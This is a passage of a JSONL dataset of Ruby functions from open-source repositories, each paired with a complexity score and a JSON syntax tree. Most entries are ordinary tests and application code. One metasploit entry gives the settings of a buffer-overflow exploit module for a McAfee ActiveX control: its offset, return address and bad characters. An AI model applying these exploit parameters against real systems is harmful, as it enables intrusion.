\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asked\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"f499b22c-55dd-48ca-b2fc-7d0b0cfddfa2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails6.rb","start_line":323,"raw_source":"def test_cross_site_scripting_2\n    assert_warning :type => :template,\n      :warning_code => 2,\n      :fingerprint => \"9e949d88329883f879b7ff46bdb096ba43e791aacb6558f47beddc34b9d42c4c\",\n      :warning_type => \"Cross-Site Scripting\",\n      :line => 6,\n      :message => /^Unescaped\\ model\\ attribute/,\n      :confidence => 0,\n      :relative_path => \"app/views/users/show.html.erb\",\n      :code => s(:call, s(:call, s(:const, :User), :new, s(:call, nil, :user_params)), :name),\n      :user_input => nil\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cross_site_scripting_2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"9e949d88329883f879b7ff46bdb096ba43e791aacb6558f47beddc34b9d42c4c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unescaped\\\\ model\\\\ attribute\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/views/users/show.html.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"user_params\"]}]}]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"c63670f0-8a3c-478f-996f-bbd79c99e540"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/authorization_data.rb","start_line":116,"raw_source":"def encode_type(type)\n            bn = OpenSSL::BN.new(type.to_s)\n            int = OpenSSL::ASN1::Integer.new(bn)\n\n            int\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"5d42a2d6-ab41-415e-b2ec-77f69c00f543"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1692,"raw_source":"def test_column_types_on_queries_on_sqlite\n      result = ActiveRecord::Base.lease_connection.exec_query(\"SELECT id, last_read, created_at FROM topics\")\n      assert_equal ActiveRecord::ConnectionAdapters::SQLite3Adapter::SQLite3Integer, result.column_types[\"id\"].class\n      assert_equal ActiveRecord::Type::Date, result.column_types[\"last_read\"].class\n      assert_equal ActiveRecord::Type::DateTime, result.column_types[\"created_at\"].class\n      assert_equal result.column_types[0], result.column_types[\"id\"]\n      assert_equal result.column_types[1], result.column_types[\"last_read\"]\n      assert_equal result.column_types[2], result.column_types[\"created_at\"]\n    end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_column_types_on_queries_on_sqlite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"exec_query\",{\"type\":\"str\",\"children\":[\"SELECT id, last_read, created_at FROM topics\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"SQLite3Adapter\"]},\"SQLite3Integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"Date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last_read\"]}]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"DateTime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last_read\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_types\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]}]}]}","id":"9f93eac9-db10-46b7-9484-8c54a03e4152"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241028104641_add_fk_from_ci_runner_taggings_to_partitioned_ci_runners.rb","start_line":17,"raw_source":"def up\n    PARTITION_PREFIXES.each do |partition|\n      add_concurrent_foreign_key(\n        \"#{SOURCE_TABLE_NAME}_#{partition}\", \"#{partition}_#{TARGET_TABLE_NAME}\",\n        name: FK_NAME,\n        column: COLUMN,\n        target_column: TARGET_COLUMN,\n        validate: true,\n        on_update: :cascade,\n        on_delete: :cascade,\n        reverse_lock_order: true\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PARTITION_PREFIXES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"const\",\"children\":[null,\"COLUMN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_column\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_COLUMN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"65006b12-c958-4a5b-8043-f81b05e1a338"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell.rb","start_line":381,"raw_source":"def self.binary_exists(binary, platform: nil, &block)\n    if block.call('command -v command').to_s.strip == 'command'\n      binary_path = block.call(\"command -v '#{binary}' && echo true\").to_s.strip\n    else\n      binary_path = block.call(\"which '#{binary}' && echo true\").to_s.strip\n    end\n    return nil unless binary_path.include?('true')\n\n    binary_path.split(\"\\n\")[0].strip # removes 'true' from stdout\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"binary_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"binary\"]},{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"str\",\"children\":[\"command -v command\"]}]},\"to_s\"]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"command\"]}]},{\"type\":\"lvasgn\",\"children\":[\"binary_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"command -v '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]}]},{\"type\":\"str\",\"children\":[\"' && echo true\"]}]}]},\"to_s\"]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"binary_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"which '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]}]},{\"type\":\"str\",\"children\":[\"' && echo true\"]}]}]},\"to_s\"]},\"strip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary_path\"]},\"include?\",{\"type\":\"str\",\"children\":[\"true\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary_path\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"strip\"]}]}]}","id":"1f35a5cb-73ed-4a4c-b16b-da2c08191972"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/console_test.rb","start_line":34,"raw_source":"def test_short_version_of_sandbox_option\n    console = Rails::Console.new(app, parse_arguments([\"-s\"]))\n    assert_predicate console, :sandbox?\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_short_version_of_sandbox_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"console\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Console\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"app\"]},{\"type\":\"send\",\"children\":[null,\"parse_arguments\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"console\"]},{\"type\":\"sym\",\"children\":[\"sandbox?\"]}]}]}]}","id":"e22ed44e-e952-45db-bdec-f95ea7aec910"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":584,"raw_source":"def tags_containing(limit: 0, exclude_tipped: false)\n    excluded = exclude_tipped ? tipping_tags : []\n\n    repository.tag_names_contains(id, limit: limit, exclude_refs: excluded) || []\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"tags_containing\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"exclude_tipped\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"excluded\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclude_tipped\"]},{\"type\":\"send\",\"children\":[null,\"tipping_tags\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"tag_names_contains\",{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude_refs\"]},{\"type\":\"lvar\",\"children\":[\"excluded\"]}]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"16b05dc2-2505-43e7-8eaa-eec390cc5892"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/message_templates/template/greeting.rb","start_line":18,"raw_source":"def greeting_message_params\n    content = @conversation.inbox&.greeting_message\n\n    {\n      account_id: @conversation.account_id,\n      inbox_id: @conversation.inbox_id,\n      message_type: :template,\n      content: content\n    }\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"greeting_message_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"inbox\"]},\"greeting_message\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"inbox_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"805369ba-4280-4074-98f8-d75ea6d998b7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_channel.rb","start_line":27,"raw_source":"def replying_to?(message)\n        find(\".chat-channel .chat-reply\", text: message.message)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"replying_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".chat-channel .chat-reply\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"message\"]}]}]}]}]}","id":"f1dafdc6-c46b-4f50-87b6-160a12dfb47e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'McAfee Visual Trace ActiveX Control Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX\n          Control (NeoTraceExplorer.dll 1.0.0.1). By sending an overly long string to the\n          \"TraceTarget()\" method, an attacker may be able to execute arbitrary code.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'MC' ],\n        'References' => [\n          [ 'CVE', '2006-6707'],\n          [ 'OSVDB', '32399'],\n          [ 'URL', 'http://web.archive.org/web/20061223042405/http://secunia.com:80/advisories/23463/' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 800,\n          'BadChars' => \"\\x00\\x09\\x0a\\x0d'\\\\\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP Pro SP2 English', { 'Offset' => 483, 'Ret' => 0x7c941eed } ],\n        ],\n        'DisclosureDate' => '2007-07-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"McAfee Visual Trace ActiveX Control Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX\\n\"]},{\"type\":\"str\",\"children\":[\"          Control (NeoTraceExplorer.dll 1.0.0.1). By sending an overly long string to the\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\"TraceTarget()\\\" method, an attacker may be able to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-6707\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"32399\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20061223042405/http://secunia.com:80/advisories/23463/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\t\\n\\r'\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP2 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[483]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2090082029]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-07-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"db0e2724-8f0f-4150-9700-940b0d8e63c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/packages/nuget/service_index_presenter.rb","start_line":100,"raw_source":"def metadata_service_url\n        params = {\n          id: project_or_group.id,\n          package_name: nil,\n          package_version: nil\n        }\n\n        case scope\n        when :group\n          api_v4_groups___packages_nuget_metadata_package_name_package_version_path(\n            params,\n            true\n          )\n        when :project\n          api_v4_projects_packages_nuget_metadata_package_name_package_version_path(\n            params,\n            true\n          )\n        end\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata_service_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_or_group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_version\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"api_v4_groups___packages_nuget_metadata_package_name_package_version_path\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"api_v4_projects_packages_nuget_metadata_package_name_package_version_path\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"true\",\"children\":[]}]}]},null]}]}]}","id":"2a4f5738-2b5e-4e49-b05c-ea3330ed720c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/sources/structure_sql.rb","start_line":23,"raw_source":"def fetch_trigger_by_name(trigger_name)\n            trigger_map[trigger_name]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_trigger_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trigger_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trigger_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trigger_name\"]}]}]}","id":"9ffc96e7-6325-4f87-8971-4df7ac084f8b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/crypto/chacha20.rb","start_line":8,"raw_source":"def initialize(key, iv)\n        raise TypeError unless key.is_a? String\n        raise TypeError unless iv.is_a? String\n\n        @chacha_ctx = chacha20_ctx_setup(key, iv)\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"iv\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iv\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@chacha_ctx\",{\"type\":\"send\",\"children\":[null,\"chacha20_ctx_setup\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[